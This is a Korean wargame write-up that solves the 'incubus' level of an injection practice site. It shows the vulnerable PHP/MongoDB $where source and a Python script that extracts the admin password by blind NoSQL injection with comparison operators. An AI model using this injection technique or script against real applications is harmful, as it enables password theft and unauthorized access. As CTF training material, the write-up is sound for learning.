문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : prob, _, (
  • pw : prob, _, (

코드 분석

$db = mongodb_connect();

DB가 mongodb이므로 NoSQLi 문제로 보인다.

 

$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

필터링을 통과한 공격 백터 id와 pw는 "id" => "공격 백터 id", "pw" => "공격 백터 pw"에 들어가서 Json 형식으로 인코딩된다. 인코딩된 값은 {"id":"공격 백터 id", "pw":"공격 백터 pw"}이며, MongoDB에 전달이 된다.

 

해당 쿼리의 id 반환값이 있다면 Hello id 반환값이 화면에 출력된다.

$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");

MongoDB에 저장된 admin의 pw과 공격 백터 pw이 일치해야 클리어할 수 있다.


문제 풀이

문제를 풀기 전에 몇 가지 테스트를 해봤다.

테스트를 통해 알아낸 것은 function 안의 쿼리문은 ,or로 인식한다는 점과 >, <의 연산자를 통해 pw를 알아낼 수 있다는 것이다. >, <의 연산자를 문자에 사용하면, 문자의 순서로 크기를 비교한다.

 

이를 통해서 pw를 손쉽게 구할 수 있을거로 판단된다.

from SQLI import SQLI
import string
from urllib import parse

url = 'https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?'
cookie = 'nojp5m1iml5171g1bu9opu030q'

sqli = SQLI(url, cookie)

pw = ''
while True:
    temp = ''
    for s in string.digits + string.ascii_lowercase:
        query = f"pw='||obj.id=='admin'%26%26obj.pw>='{pw + s}"
        result = sqli.pw_parsing(query)

        if 'Hello admin' not in result:
            pw += temp
            print('pw >>>', pw)
            check = False
            break
        else:
            temp = s

이와 같이 손쉽게 구할 수 있다.

 

파이썬으로 구한 값을 서버로 보내면 클리어 된다.


SQLI.py

import requests, time

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def pw_parsing(self, query:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)
        
        return response.text, time.time()-start

랭킹 132등으로 마무리 할 수 있었다.

새로운 문제가 나오면 그때 또 풀이를 쓰겠다.

 

ALLClear의 페이지는 어떻게 생겼는지 궁금한 분들도 있을거 같아서 위에 첨부합니다.

복사했습니다!